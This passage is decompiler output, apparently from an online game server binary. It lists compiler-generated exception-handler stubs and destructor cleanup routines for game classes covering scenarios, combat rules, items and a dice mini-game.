ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 568)); } //----- (00594906) -------------------------------------------------------- void __usercall _L191903(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 596)); } //----- (00594911) -------------------------------------------------------- void __usercall _L191904(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00594930) -------------------------------------------------------- void __usercall _L192051(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 696)); } //----- (0059493B) -------------------------------------------------------- void __usercall _L192052(int a1) { PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser((PineEventScriptNode::ScriptParameterPaser *)(a1 - 608)); } //----- (00594946) -------------------------------------------------------- void __usercall _L192053(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 680)); } //----- (00594951) -------------------------------------------------------- void __usercall _L192054(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (0059495C) -------------------------------------------------------- void __usercall _L192055(int a1) { std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::__Node((std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0059498B) -------------------------------------------------------- void __usercall _L192947(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005949A1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineMobWeaponRate_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005949B0) -------------------------------------------------------- void __usercall _L158719(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005949B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__zbs_Parsing_ClientSession__UAEXPAVShinePlayer_ShineObjectClass__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005949D0) -------------------------------------------------------- void __usercall _L150449(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005949D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_FillRewardInven_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_CHAR_GET_ITEMLIST_BY_TYPE_NUM_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005949F0) -------------------------------------------------------- void __usercall _L161849(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005949F8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__roe_AttackPower_RulesOfEngagementMagicalSkill__MAENPAUEngageArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594A10) -------------------------------------------------------- void __usercall _L161707(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00594A18) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__roe_HitRate_RulesOfEngagementMagicalSkill__UAENPAUEngageArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594A30) -------------------------------------------------------- void __usercall _L161820(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00594A38) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__roe_CriticalRate_RulesOfEngagementMagicalSkill__MAENPAUEngageArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594A50) -------------------------------------------------------- void __usercall _L161879(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00594A58) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__roe_DefendPower_RulesOfEngagementMagicalSkill__MAENPAUEngageArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594A70) -------------------------------------------------------- void __usercall _L161905(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00594A78) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mobile_NotifyParameterChange_ShineMobileObject_ShineObjectClass__UAEXE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594A90) -------------------------------------------------------- void __usercall _L161931(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 212)); } //----- (00594A9B) -------------------------------------------------------- void __usercall _L161932(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 248)); } //----- (00594AA6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mobile_NotifyParameterChange_ShinePlayer_ShineObjectClass__UAEXE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594AB0) -------------------------------------------------------- void __usercall _L162017(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00594AB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__roe_CalcDamage_RulesOfEngagement__UAEHPAUEngageArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594AD0) -------------------------------------------------------- void __usercall _L159896(int a1) { PineScriptStack::ProcessStack::_ProcessStack(*(PineScriptStack::ProcessStack **)(a1 - 16)); } //----- (00594AD8) -------------------------------------------------------- void __usercall _L159897(int a1) { ScriptInterrupt::ScriptInterruptManager::_ScriptInterruptManager((ScriptInterrupt::ScriptInterruptManager *)(*(_DWORD *)(a1 - 16) + 66116)); } //----- (00594AE6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1Theater_Movie__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594AF0) -------------------------------------------------------- void __usercall _L160042(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 88)); } //----- (00594AF8) -------------------------------------------------------- void __usercall _L160043(int a1) { operator delete(*(void **)(a1 - 84)); } //----- (00594B03) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sdb_Load_ScenarioDescriptBook_ScenarioBookShelf__QAEEPAE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594B10) -------------------------------------------------------- void __usercall _L160099(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 16), 4u, 100, (void (__thiscall *)(void *))ScenarioBookShelf::ScenarioDescriptBook::_ScenarioDescriptBook); } //----- (00594B23) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ScenarioBookShelf__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594B30) -------------------------------------------------------- void __usercall _L160113(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00594B38) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbs_Read_ScenarioBookShelf__AAEEPAE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594B50) -------------------------------------------------------- void __usercall _L160584(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00594B58) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__cc_ScriptInterrupt_CinemaComplex_Movie__QAEXP8ScriptInterruptManager_ScriptInterrupt__AEXPATInterruptHappenArgument_4__Z0_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594B70) -------------------------------------------------------- void __usercall _L161039(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00594B78) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0CinemaComplex_Movie__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594B90) -------------------------------------------------------- void __usercall _L160358(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00594B98) -------------------------------------------------------- void __usercall _L160359(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00594BA0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__tl_LeftTick_TimeLimit_Movie__QAEHXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594BB0) -------------------------------------------------------- void __usercall _L160465(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (00594BBB) -------------------------------------------------------- void __usercall _L160466(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00594BC6) -------------------------------------------------------- void __usercall _L160467(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00594BD1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__t_PlayFilm_Theater_Movie__QAEHPAEPAVPineScriptToken___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594BE0) -------------------------------------------------------- void __usercall _L160545(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00594BE8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VTheater_Movie____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594C00) -------------------------------------------------------- void __usercall _L160667(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (00594C08) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Search___List_VTheater_Movie____QAEPAVTheater_Movie__P823_AEHPAV1_GPAV23__ZPAG1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594C20) -------------------------------------------------------- void __usercall _L160709(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (00594C2B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbs_LoadScripts_ScenarioBookShelf__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594C40) -------------------------------------------------------- void __usercall _L160755(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00594C48) -------------------------------------------------------- void __usercall _L160783(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00594C50) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__cc_PlayFilm_CinemaComplex_Movie__QAEHPAEPAVPineScriptToken___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594C60) -------------------------------------------------------- void __usercall _L160850(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 77308)); } //----- (00594C6B) -------------------------------------------------------- void __usercall _L160851(int a1) { Movie::Theater::_Theater((Movie::Theater *)(a1 - 77304)); } //----- (00594C76) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__cc_IsDuringPlay_CinemaComplex_Movie__QAEEPAE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594C80) -------------------------------------------------------- void __usercall _L160911(int a1) { Movie::Theater::_Theater((Movie::Theater *)(a1 - 77304)); } //----- (00594C8B) -------------------------------------------------------- void __usercall _L160914_0(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 77316)); } //----- (00594C96) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__cc_DropFilm_CinemaComplex_Movie__QAEEPAE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594CA0) -------------------------------------------------------- void __usercall _L163912(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00594CA8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ScriptInterruptManager_ScriptInterrupt__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594CC0) -------------------------------------------------------- void __usercall _L162932(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00594CC8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sim_PickUpItem_ScriptInterruptManager_ScriptInterrupt__QAEXPATInterruptHappenArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594CE0) -------------------------------------------------------- void __usercall _L161246(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00594CE8) -------------------------------------------------------- void __usercall _L161247(int a1) { AxialListMobCounter::_AxialListMobCounter((AxialListMobCounter *)(a1 - 36)); } //----- (00594CF0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sib_BlastCheck_ScriptInterruptGuildEleminate_ScriptInterrupt__UAEEPAUScriptInterruptArgument_2_PAVPineScriptToken__1PAVTimeLimit_Movie__PAV__List_UScriptInterruptArgument_ScriptInterrupt____GPAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594D00) -------------------------------------------------------- void __usercall _L161655(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00594D08) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sib_BlastCheck_ScriptInterruptHPUpper_ScriptInterrupt__UAEEPAUScriptInterruptArgument_2_PAVPineScriptToken__1PAVTimeLimit_Movie__PAV__List_UScriptInterruptArgument_ScriptInterrupt____GPAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594D20) -------------------------------------------------------- void __usercall _L161788(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 272)); } //----- (00594D2B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sib_AdminInterrupt_ScriptInterruptAdmin_ScriptInterrupt__UAEXPAUScriptInterruptArgument_2_PATInterruptHappenArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594D40) -------------------------------------------------------- void __usercall _L161915(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00594D48) -------------------------------------------------------- void __usercall _L161916(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 20)); } //----- (00594D50) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sib_ObjectDead_ScriptInterruptPlayerDead_ScriptInterrupt__UAEXPAUScriptInterruptArgument_2_PATInterruptHappenArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594D60) -------------------------------------------------------- void __usercall _L162368(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00594D68) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sim_InterruptErase_ScriptInterruptManager_ScriptInterrupt__QAEXPATName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594D80) -------------------------------------------------------- void __usercall _L162995(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (00594D8B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_SCENARIO_AREAENTRY_ACK_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594DA0) -------------------------------------------------------- void __usercall _L163076(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 292)); } //----- (00594DAB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_SCENARIO_AREALEAVE_ACK_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594DC0) -------------------------------------------------------- void __usercall _L165105(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00594DC8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_PAVScriptInterruptUnitBase_ScriptInterrupt__V__allocator_PAVScriptInterruptUnitBase_ScriptInterrupt___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594DE0) -------------------------------------------------------- int __cdecl _L165960_0() { int result; // eax@1 result = __S1__1__GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA & 0xFFFFFFFE; __S1__1__GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA &= 0xFFFFFFFEu; return result; } // 124BA884: using guessed type int ?$S1_?1??GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA; //----- (00594DEE) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV12_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594E00) -------------------------------------------------------- void __usercall _L161359(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00594E08) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_scene_SetWeaponRate_ShineMob_ShineObjectClass__QAEXABV__vector_GV__allocator_G_std___std___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594E20) -------------------------------------------------------- void __usercall _L159004(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00594E28) -------------------------------------------------------- void __usercall _L159005(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00594E30) -------------------------------------------------------- void __usercall _L159006(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00594E38) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_MoveByScenario_ShineMobileObject_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594E50) -------------------------------------------------------- void __usercall _L159092(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00594E5B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_scene_CreateItem_ShinePlayer_ShineObjectClass__UAEXG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594E70) -------------------------------------------------------- void __usercall _L159157(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00594E90) -------------------------------------------------------- void __usercall _L159739(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00594E98) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MENU_SERVERMENU_ACK_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594EB0) -------------------------------------------------------- void __usercall _L159350(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00594EB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smfm_Link_ServerMenuFuncter__QAEXPAVShinePlayer_ShineObjectClass__PATServerMenuArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594ED0) -------------------------------------------------------- void __usercall _L159412(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00594ED8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smfm_LinkToDungeon_ServerMenuFuncter__QAEXPAVShinePlayer_ShineObjectClass__PATServerMenuArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594EF0) -------------------------------------------------------- void __usercall _L159698(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00594EF8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sma_Reply_ServerMenuActor__QAEXPAVShinePlayer_ShineObjectClass__E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594F10) -------------------------------------------------------- void __usercall _L159811(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00594F18) -------------------------------------------------------- void __usercall _L159812(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00594F30) -------------------------------------------------------- void __usercall _L148241(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 340)); } //----- (00594F3B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ed_SkillIndexTest_EffectDescription_SetItemData__QAEEPBUSkillDataIndex_SkillDataBox__PAD11_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594F50) -------------------------------------------------------- void __usercall _L148715(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 328)); } //----- (00594F5B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__siel_Load_SetItemEffectList_SetItemData__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594F70) -------------------------------------------------------- void __usercall _L148763(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 144)); } //----- (00594F90) -------------------------------------------------------- void __usercall _L148837(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00594F98) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sic_SetItemDefine_SetItemClassifier_SetItemData__QAEXPAUPlayerSetEffect_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594FB0) -------------------------------------------------------- void __usercall _L149117(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00594FB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_ply_SetItemEffect_ShinePlayer_ShineObjectClass__UAEXG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594FD0) -------------------------------------------------------- void __usercall _L149054(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00594FD8) -------------------------------------------------------- void __usercall _L149055(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00594FE0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_SetItemCheck_ShinePlayer_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594FF0) -------------------------------------------------------- void __usercall _L162404(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00594FF8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_DiceTaiSai_BroadLargeAmount_ShineMiniHouse_ShineObjectClass__UAEEXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595010) -------------------------------------------------------- void __usercall _L162742_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0059501B) -------------------------------------------------------- void __usercall _L162743_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 148)); } //----- (00595030) -------------------------------------------------------- void __usercall _L164465(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00595038) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_DICE_TAISAI_DB_ITEM_ID_CHANGE_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595050) -------------------------------------------------------- void __usercall _L164002(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 24)); } //----- (00595058) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_DiceTaiSai_GetExpectIncomeMoney_ShineMiniHouse_ShineObjectClass__UAEGTITEM_INVEN___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595070) -------------------------------------------------------- void __usercall _L164522(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00595078) -------------------------------------------------------- void __usercall 